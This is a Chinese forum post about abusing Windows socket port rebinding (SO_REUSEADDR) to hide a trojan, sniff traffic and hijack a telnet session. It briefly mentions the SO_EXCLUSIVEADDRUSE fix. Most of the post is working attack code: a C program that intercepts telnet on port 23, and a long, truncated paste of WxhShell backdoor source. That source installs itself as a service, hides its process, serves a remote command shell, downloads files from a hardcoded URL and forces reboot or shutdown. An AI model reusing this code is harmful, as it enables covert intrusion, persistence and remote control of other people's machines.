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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <MPeh&_3#  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /HB+ami,  
.o-0aBG  
  saddr.sin_family = AF_INET; qg^(w fI  
@MNl*~'$.[  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [MV`pF)x  
ry$tK"v/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ggerh#  
7[ZkM+z!  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 r/UYC"K3  
R'S c  
  这意味着什么?意味着可以进行如下的攻击: l\K%  
Cr' ! "F  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 kR<xtHW  
+:Lk^Ny  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) T$:>*  
?cqicN.+6  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 gJ]Cq/gC  
PYdIP\<V  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5."5IjZu  
{F;,7Kn+l  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 X}3P1.n:  
l'|E,N>X  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \BN|?r$a  
^ H'hD  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 M%7`8KQ  
@''&nRC1  
  #include w@87]/4Rq  
  #include i?ZA x4D  
  #include oR-O~_) U  
  #include    J$1j-\KS  
  DWORD WINAPI ClientThread(LPVOID lpParam);   N YCj; ,V  
  int main() 5){tBK|  
  { TcR=GR*cJ  
  WORD wVersionRequested; X7e>Z)l  
  DWORD ret; qIB>6bv#x  
  WSADATA wsaData; 6kP7   
  BOOL val; &foD&  
  SOCKADDR_IN saddr; }$^]dn@  
  SOCKADDR_IN scaddr; VMaS;)0f@  
  int err; (F/HU"C  
  SOCKET s; 6_W<hevI  
  SOCKET sc; smQ4CLJ  
  int caddsize; >NJjS8f5  
  HANDLE mt; 2K3MAd{  
  DWORD tid;   J cP~-cp  
  wVersionRequested = MAKEWORD( 2, 2 ); BTO A &Ag  
  err = WSAStartup( wVersionRequested, &wsaData ); 0Xp nbB~~I  
  if ( err != 0 ) { %_>Tcm=  
  printf("error!WSAStartup failed!\n"); 1#/6r :  
  return -1; g+e:@@ug  
  } +H41]W6  
  saddr.sin_family = AF_INET;  ,Qat  
   DNmb[  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 $"/UK3|d  
DLU[<! C  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); l+t #"3  
  saddr.sin_port = htons(23); JRD8Lz]Q3  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UMT\Q6p  
  { k}X[u8A  
  printf("error!socket failed!\n"); xM% pvx.'L  
  return -1; 9H>BWjS  
  } g8KY`MBnC&  
  val = TRUE; FX7M4t#<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 I=U+GY:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)  wjL|Z8  
  { w nWgy4:  
  printf("error!setsockopt failed!\n"); F@<O;b#Ip  
  return -1; Z*h43  
  } `(3SfQ-  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; j H(&oV  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 h(_P9E[g  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 e$HQuA~Q;  
5qC:yI  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Np$z%ewK.  
  { XjxPIdX_H  
  ret=GetLastError();  '6O|H  
  printf("error!bind failed!\n");  O)OUy  
  return -1; h!v/s=8c  
  } bQ<b[  
  listen(s,2); \<X2ns@Tf  
  while(1) GYd]5`ri  
  { WK*S4c  
  caddsize = sizeof(scaddr); h20Hg|   
  //接受连接请求 @^'$r&M  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); RE 9nU%!  
  if(sc!=INVALID_SOCKET) Nl { 7  
  { oKRFd_r+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); yQ'eu;+]  
  if(mt==NULL) %MbyKz:X  
  { BMpF02Y|4  
  printf("Thread Creat Failed!\n"); #MglHQO+  
  break; #sZIDn J#  
  } Z^*NnL.'  
  } %kq ^]S2O  
  CloseHandle(mt); \"'\MA  
  } mL$f[  
  closesocket(s); Ib6(Bp9.L  
  WSACleanup(); t7bqk!6hM\  
  return 0; IM=+3W;ak  
  }   %l]Rh/VPn?  
  DWORD WINAPI ClientThread(LPVOID lpParam) mB`D}g$  
  { lufeieW  
  SOCKET ss = (SOCKET)lpParam; L<=)@7  
  SOCKET sc; (UGol[f<  
  unsigned char buf[4096]; @(>XOj?+  
  SOCKADDR_IN saddr; c" +zgP  
  long num; #]y5z i  
  DWORD val; O#:&*Mv  
  DWORD ret; =JW[pRI5a  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =U"dPLax  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   =m9i)Q  
  saddr.sin_family = AF_INET; 4sIX O  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %'0&ElQ  
  saddr.sin_port = htons(23);  HxIoA  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P6YQK+  
  { B?3juyB`--  
  printf("error!socket failed!\n"); hVM2/j  
  return -1; r|fO7PD  
  } 5)`h0TK  
  val = 100; ('4wXD]C  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h55>{)(E  
  { MwAJ(  
  ret = GetLastError(); JDA]t&D!v  
  return -1; Y\( ;!o0a  
  } ezn` _x_?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $P nLG]X  
  { 2+:'0Krc  
  ret = GetLastError(); ,{8v4b-  
  return -1; #wjH4DT  
  } =|,A%ZGF$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =cn~BnowY  
  { ?Ht=[l=  
  printf("error!socket connect failed!\n"); )Gb,^NGr  
  closesocket(sc); 7@l<? (  
  closesocket(ss); ="'- &  
  return -1; DP*@dFU"  
  } O%g\B8 ;  
  while(1) [zh"x#AyI  
  {  %w5[*V  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 J +q|$K6  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 5)M 2r!\  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >1ZJ{se  
  num = recv(ss,buf,4096,0); 6P*O&1hv  
  if(num>0) sS9%3i/>  
  send(sc,buf,num,0); TzKK;(GX  
  else if(num==0) wkBL=a  
  break; bfdVED  
  num = recv(sc,buf,4096,0); p/*"4-S  
  if(num>0) _a5(s2wq+  
  send(ss,buf,num,0); ,2,5Odrz  
  else if(num==0) x=*L-  
  break; aWGon]2p  
  } EB,4PEe:  
  closesocket(ss); 1'O0`Me>#  
  closesocket(sc); Im)EDTm$  
  return 0 ; Uc&iZFid2K  
  } C-w5KW  
mQr0sI,o]  
8\# ^k#X  
========================================================== 2d`c!  
@;Y~frT  
下边附上一个代码,,WXhSHELL _u5dC   
/S~m)$vu  
========================================================== A,#2^dR  
SaO3 zz@L  
#include "stdafx.h" {rXs:N@  
61@EDIYPc  
#include <stdio.h> yZ3nRiuRT  
#include <string.h> RH[+1z8  
#include <windows.h> JE;+T[I  
#include <winsock2.h> %e_"CS  
#include <winsvc.h> Qf@iU%G  
#include <urlmon.h> f$F*3  
 'Cc(3  
#pragma comment (lib, "Ws2_32.lib") d8OL!Rk  
#pragma comment (lib, "urlmon.lib") _^\$" nw  
n:4uA`Vg  
#define MAX_USER   100 // 最大客户端连接数 ; Lql_1  
#define BUF_SOCK   200 // sock buffer lddp^ #f  
#define KEY_BUFF   255 // 输入 buffer cdTsRS;E  
XsL#;a C  
#define REBOOT     0   // 重启 o#D.9K(  
#define SHUTDOWN   1   // 关机 GoE 'L  
^Z}Ob= .G  
#define DEF_PORT   5000 // 监听端口 fn}UBzED\  
DtF}Qv A  
#define REG_LEN     16   // 注册表键长度 D7 ?C  
#define SVC_LEN     80   // NT服务名长度 P8I*dvu _  
zoZH[a`H  
// 从dll定义API FWY2s(5p  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); IIz0m3';+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  }roG(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {{!Y]\2S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rU2iy"L  
kWW w<cA  
// wxhshell配置信息 F L=,YP  
struct WSCFG { 6`\ya@  
  int ws_port;         // 监听端口 ^p=L\SJ  
  char ws_passstr[REG_LEN]; // 口令 KQ`=t   
  int ws_autoins;       // 安装标记, 1=yes 0=no ||eAE)  
  char ws_regname[REG_LEN]; // 注册表键名 M+xdHBg  
  char ws_svcname[REG_LEN]; // 服务名 R_kQPP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 51xk>_Hm}|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #T3 h}=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 11UB4CA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tIuoD+AW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nII^mg~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sl|_=oXT  
B0Xl+JIR#  
}; I021p5h|  
#A<P6zJXR  
// default Wxhshell configuration 0q6I;$H  
struct WSCFG wscfg={DEF_PORT, Ee2c5C!|C  
    "xuhuanlingzhe", RBGX_v?  
    1, +R.N%_  
    "Wxhshell", {`"#yl6"  
    "Wxhshell", Lm%GR[tyQ  
            "WxhShell Service", w4:\N U  
    "Wrsky Windows CmdShell Service", =f7r69I"  
    "Please Input Your Password: ", {nMAm/kyj  
  1, Es'Um,ku  
  "http://www.wrsky.com/wxhshell.exe", XFqJ 'R  
  "Wxhshell.exe" y,Q5; $w8  
    }; AuiFbRFi  
S h4wqf  
// 消息定义模块 <7sIm^N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K_BPZ5w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^TFs;|..  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d- E4~)Qy  
char *msg_ws_ext="\n\rExit."; 9NpD!A&64<  
char *msg_ws_end="\n\rQuit."; U 4,2br>  
char *msg_ws_boot="\n\rReboot..."; TMVryb  
char *msg_ws_poff="\n\rShutdown..."; = +Xc4a  
char *msg_ws_down="\n\rSave to "; KEr\nKT1  
Ufid%T'  
char *msg_ws_err="\n\rErr!"; s0W2?!>)  
char *msg_ws_ok="\n\rOK!"; =zg:aTMti  
X%{'<baR  
char ExeFile[MAX_PATH]; [_6&N.  
int nUser = 0; 'mMjjG9  
HANDLE handles[MAX_USER]; }_OM$nzj  
int OsIsNt; fI|[Z+"  
f4('gl9  
SERVICE_STATUS       serviceStatus; 5g ;ac~g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d/,E2i{I7  
Q<"[C 1Lj  
// 函数声明 CAc %f9!3  
int Install(void); eE]hy'{d<  
int Uninstall(void); O m'(mr  
int DownloadFile(char *sURL, SOCKET wsh); v3RcwySk  
int Boot(int flag); V5rp.~   
void HideProc(void); PX,rWkOce  
int GetOsVer(void); v."Dnl  
int Wxhshell(SOCKET wsl); 9.+/~$Ht  
void TalkWithClient(void *cs); ,LYFEq_  
int CmdShell(SOCKET sock); (9RslvK L  
int StartFromService(void); ?Dsm~bkX[  
int StartWxhshell(LPSTR lpCmdLine); n(;:*<Rh  
mY&ud>,U:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -uR72f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jUMf6^^  
H{G{H=K_  
// 数据结构和表定义 ]B4}eBt5)@  
SERVICE_TABLE_ENTRY DispatchTable[] = %i0\1hhV<  
{ @xWdO,#  
{wscfg.ws_svcname, NTServiceMain}, ,"?A2n-qO  
{NULL, NULL} w~\%vXla  
}; JBX[bx52<r  
$1Nd_pD=  
// 自我安装 ^4$ 'KIq  
int Install(void) ~,gXaw  
{ pBJAaCGm  
  char svExeFile[MAX_PATH]; tiaR4PB  
  HKEY key; L/r@ S'  
  strcpy(svExeFile,ExeFile); IMLsQit*  
lC?Icn|o  
// 如果是win9x系统,修改注册表设为自启动 zY9 H%  
if(!OsIsNt) { {I1~-8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XSRdqU>Aun  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2%UBw SiqR  
  RegCloseKey(key); i u]&;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { / !xF?OmVd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6vy7l(%  
  RegCloseKey(key);  z01>'  
  return 0; (!K_Fy@  
    } Oe]&(  
  } I4_d[O9  
} lX!`zy{3k  
else { 6j9)/H P  
c+' =hR[  
// 如果是NT以上系统,安装为系统服务 &*,:1=p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c| ~6Ie  
if (schSCManager!=0) e 9$C#D> D  
{ %Z]'!X  
  SC_HANDLE schService = CreateService d5j_6X  
  ( h#}YKWL  
  schSCManager, arZ@3]X%a  
  wscfg.ws_svcname, ,TC;{ $O5  
  wscfg.ws_svcdisp, x8#ODuH  
  SERVICE_ALL_ACCESS, SAv<&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `k{& /]  
  SERVICE_AUTO_START, \c`oy=qY0  
  SERVICE_ERROR_NORMAL, 2&(sa0*y  
  svExeFile, |$lwkC)O  
  NULL, c'fSu;1  
  NULL, 3 /6/G}s  
  NULL, ZU2laqa_  
  NULL, y }2F9=  
  NULL `TKD<&oL  
  ); 3tS~:6-/  
  if (schService!=0) GUB`|is^  
  { bha?eN  
  CloseServiceHandle(schService); f^<6`Aeq  
  CloseServiceHandle(schSCManager); vwGeD|Fb5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hsLzj\)6  
  strcat(svExeFile,wscfg.ws_svcname); )h$NS2B`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Vd9@Dy  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <eN R8(P  
  RegCloseKey(key); 2ef;NC.&n  
  return 0; [bQj,PZ&  
    } b3qc_  
  } rnm03 '{  
  CloseServiceHandle(schSCManager); LJzH"K[Gg6  
} R!x: C!{  
} 7 6fIC  
L#h:*U{@40  
return 1; vR7HF*8  
} k!XhFWb  
[THG4582oB  
// 自我卸载 B7*}c]^6/  
int Uninstall(void) Z0,~V  
{ d.<~&.-$  
  HKEY key; k)(Biz398E  
Y;J*4k]  
if(!OsIsNt) { _O:WG&a6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BNGe exs@  
  RegDeleteValue(key,wscfg.ws_regname); WgR4Ix^L#  
  RegCloseKey(key); *<V^2z$y_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  3yS  
  RegDeleteValue(key,wscfg.ws_regname); ni CE\B~  
  RegCloseKey(key); 4g _"ku  
  return 0; Lm)\Z P+W  
  } 7YIK9edP  
} @$@mqHI}  
} %,*$D} H  
else { 3NK ^AaTK  
q`|CrOzO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); < a rZbM  
if (schSCManager!=0) &x:JD1T}  
{ ztM<J+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  :S %lv  
  if (schService!=0) -f(/B9}  
  { x<(b|2qf  
  if(DeleteService(schService)!=0) { $\Lyi#<  
  CloseServiceHandle(schService); LX+5|u  
  CloseServiceHandle(schSCManager); ;-mdi/*g  
  return 0; 1'w:`/_  
  } yWIm&Q:  
  CloseServiceHandle(schService); Xo5$X7m  
  } B33$ u3d  
  CloseServiceHandle(schSCManager); *tQk;'/A]  
} !%L,* '  
} y7u^zH6wj  
> R^@Ww;|q  
return 1; MLVB^<qkeH  
} YrI|gz)  
R""%F#4XJ2  
// 从指定url下载文件 %uESrc-;  
int DownloadFile(char *sURL, SOCKET wsh) *e.*=$  
{ ;]D(33) (  
  HRESULT hr; !4#"!Md4o  
char seps[]= "/"; DtCEm(b0  
char *token; 8pZ< 9t'  
char *file; Xg<[fwW  
char myURL[MAX_PATH]; ~fN%WZ;_  
char myFILE[MAX_PATH]; UV7%4xM5v  
"u^EleE!  
strcpy(myURL,sURL); m$Y :0_^-  
  token=strtok(myURL,seps); $+= <(*  
  while(token!=NULL) T8J4C=?/  
  { haSM=;uPM  
    file=token; C*Vd-U  
  token=strtok(NULL,seps); l)8&Ip  
  } < +`(\  
4n( E;!s  
GetCurrentDirectory(MAX_PATH,myFILE); ^J=hrYGA  
strcat(myFILE, "\\"); 6o&ZIYJ9k  
strcat(myFILE, file); '%iPVHK7  
  send(wsh,myFILE,strlen(myFILE),0); )6oGF>o>  
send(wsh,"...",3,0); |WQ9a' '  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gvavs+H%  
  if(hr==S_OK) cA`4:gp  
return 0; ~4#B'Gy[  
else Wsz0yHD[`  
return 1; &k>aP0k"  
`$;+g ,  
} @uleyB  
3x*z\VJ  
// 系统电源模块 iDb;_?  
int Boot(int flag) xp \S2@<  
{ u</8w&!  
  HANDLE hToken; %|Qw9sbd  
  TOKEN_PRIVILEGES tkp; Y>6.t"?Q^  
*7gT}O;p 5  
  if(OsIsNt) { u:P~j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _kraMQ>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "PWl4a&  
    tkp.PrivilegeCount = 1; m)>&ZIXa  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7!V @/S}7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |hzT;  
if(flag==REBOOT) { ,{}#8r`+*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }7/e8 O2  
  return 0; UGKaOol.  
} ?bX  
else { ~5aE2w0K   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A*]$v  
  return 0; 8v_C5d\  
} x1[?5n6  
  } S>:,z}i  
  else { ROAI9sW0  
if(flag==REBOOT) { v|t{1[C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?m%h`<wgMc  
  return 0; .(Y6$[#@  
} XX;6 P  
else { Pe^ !$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mf$j03tu  
  return 0; YcM;S  
} +&v\ /  
} 0{rx.C7|  
yyl#{Nl@t  
return 1; QJ X/7RA  
} Cnh|D^{s  
,Qc.;4s-  
// win9x进程隐藏模块 7XAvd-  
void HideProc(void) IM( u<c$  
{ e<+<lj "  
C3;[e0.1b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); UZxmh sv  
  if ( hKernel != NULL ) D!3{gV#  
  { v548ysE)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5G*II_j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :hqZPajE  
    FreeLibrary(hKernel); <e"J4gZf&  
  } c[(Pg%  
n~r 9!m$<  
return; wq0aF"k  
} Jbw!:x [  
HkjEiU  
// 获取操作系统版本 'p}`i/  
int GetOsVer(void) \_ow9vU  
{ ]|oJ)5P  
  OSVERSIONINFO winfo; .[pUuVq]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F'W> 8  
  GetVersionEx(&winfo); Hcv u7uD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4br6$  
  return 1; Gp2!xKgm  
  else lgD]{\O$ip  
  return 0; 8I#D`yVKc  
} +<(a}6dt  
&^QPkX@p  
// 客户端句柄模块 NB)t7/Us  
int Wxhshell(SOCKET wsl) F? ]N8W  
{ g:~+P e  
  SOCKET wsh; TipHV;|e  
  struct sockaddr_in client; %v=!'?VT  
  DWORD myID; #+jUhxq  
xy^1US ,L1  
  while(nUser<MAX_USER) vOT*iax0  
{ X0i3_RVa  
  int nSize=sizeof(client); h}Ygb-uZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); VWa|Y@Dc]  
  if(wsh==INVALID_SOCKET) return 1; B@cz ?%]  
bx;f`8SN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); WmVVR>0V|  
if(handles[nUser]==0) VTw/_Hf2p  
  closesocket(wsh); sBjXE>_#)  
else IC~ljy]y_  
  nUser++; &L3 #:jSk  
  } KTmaglgp  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); TmP8 q  
]Z@k|Nw  
  return 0; gGbI3^ r#  
} e-6(F4  
"iek,Y}j7  
// 关闭 socket n2'|.y}Um:  
void CloseIt(SOCKET wsh) sR79 K1*j  
{ *{[d%B<lp  
closesocket(wsh); Lk nVqZ|k  
nUser--; m5gI~1(9  
ExitThread(0); K-@bwB7~s  
} FAtWsk*pgY  
P(_(w 9  
// 客户端请求句柄 qZsnd7o{l.  
void TalkWithClient(void *cs) }tR'Hz2  
{ cjT[P"5$  
<%?uYCD  
  SOCKET wsh=(SOCKET)cs; {3 o% d:  
  char pwd[SVC_LEN]; AU`OESSI  
  char cmd[KEY_BUFF]; 6ZgNHARS  
char chr[1]; 6/7F">@j  
int i,j; x]' H jTqX  
lC{L6&T  
  while (nUser < MAX_USER) { /Sj_y*x1e  
=1Sy@MbH3  
if(wscfg.ws_passstr) { ,;3:pr  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Oga1u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); npj5U/  
  //ZeroMemory(pwd,KEY_BUFF); dqz1xQ1  
      i=0; swt\Ru6,  
  while(i<SVC_LEN) { Hdna{@~  
U,HS;wo;t  
  // 设置超时 *h])mqhB  
  fd_set FdRead; Rk{$S"8S_  
  struct timeval TimeOut; Cz[5Ug'V  
  FD_ZERO(&FdRead); &<t79d%{  
  FD_SET(wsh,&FdRead); S5/p=H:  
  TimeOut.tv_sec=8; _Q^y_f  
  TimeOut.tv_usec=0; pLo;#e8'f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cf&C|U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oVreP  
w'XSb.\)_m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VLx T"]f  
  pwd=chr[0]; ~=Fk/  
  if(chr[0]==0xd || chr[0]==0xa) { `|JI\&z  
  pwd=0; *V<)p%l.  
  break; #4lHaFq  
  } _-(z@  
  i++; kp.|gzA6  
    } *.,8,e8Vq  
P 4H*jy@?  
  // 如果是非法用户,关闭 socket Iw*C*%}[Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4a1BGNI%SW  
} sI4QI\*4  
pBvo M={2!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (w}r7`n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y]MWd#U  
_3I3AG0e  
while(1) { zK,~37)\  
O${r^6Hh  
  ZeroMemory(cmd,KEY_BUFF); ?'T"?b<  
[KD}U-(Wg  
      // 自动支持客户端 telnet标准   @ljZw(  
  j=0; 2-p8rGI_F  
  while(j<KEY_BUFF) { pDP33`OFh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %odw+PhO  
  cmd[j]=chr[0]; 2k%Bl+I  
  if(chr[0]==0xa || chr[0]==0xd) { FV`3,NFk  
  cmd[j]=0; ?Z5$0-g'hU  
  break; 7%W!k zp>  
  } ,I("x2  
  j++; YHJ'  
    } ozT._ C  
W5TqC  
  // 下载文件 pVdhj^n  
  if(strstr(cmd,"http://")) { {|G&W^`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :u,2" ]  
  if(DownloadFile(cmd,wsh)) 4GEjW4E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l)|z2 H  
  else (q055y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GcPB'`!M  
  } no eb f  
  else { Q,ZkeWQ7%  
(M4]#5  
    switch(cmd[0]) { AviT+^7E  
  \ro~-n+o  
  // 帮助 y[TaM9<  
  case '?': { FuIWiO(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /^nP_ID  
    break; xKRfl1  
  } e,PQ)1  
  // 安装 [R roHXdk+  
  case 'i': { <!$j9)~x  
    if(Install()) A{xSbbDk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y;~EcM  
    else 0tn7Rkiw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lx|w~+k}  
    break; x'VeL|  
    } &QiAM`MbC=  
  // 卸载 EfMG(oI  
  case 'r': { _p3WE9T  
    if(Uninstall()) T1Ln)CS?9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kW*W4{Fth  
    else ?etj.\q6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^v()iF !  
    break; &q kl*#]  
    } YB(#]H|8S  
  // 显示 wxhshell 所在路径 ,58kjTM  
  case 'p': { 6"#Tvj~-8  
    char svExeFile[MAX_PATH]; ]}*G[[ ^p  
    strcpy(svExeFile,"\n\r"); = m!!  
      strcat(svExeFile,ExeFile); dW] Ej"W  
        send(wsh,svExeFile,strlen(svExeFile),0); 3@#,i<ge:  
    break; {RWahnr{  
    } 0:nt#n~_  
  // 重启 av$\@4I  
  case 'b': { `0-m`>1>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Av\ 0GqF  
    if(Boot(REBOOT)) aG8;,H=%,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c"jhbH!u4  
    else { U7f#Z  
    closesocket(wsh); JN9HT0  
    ExitThread(0); ./z"P]$  
    } jw&}N6^G  
    break; 'SXpb?CZ  
    } c'VtRE# z~  
  // 关机 QyBK*uNdV  
  case 'd': { YV>VA<c  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0bRkC,N (  
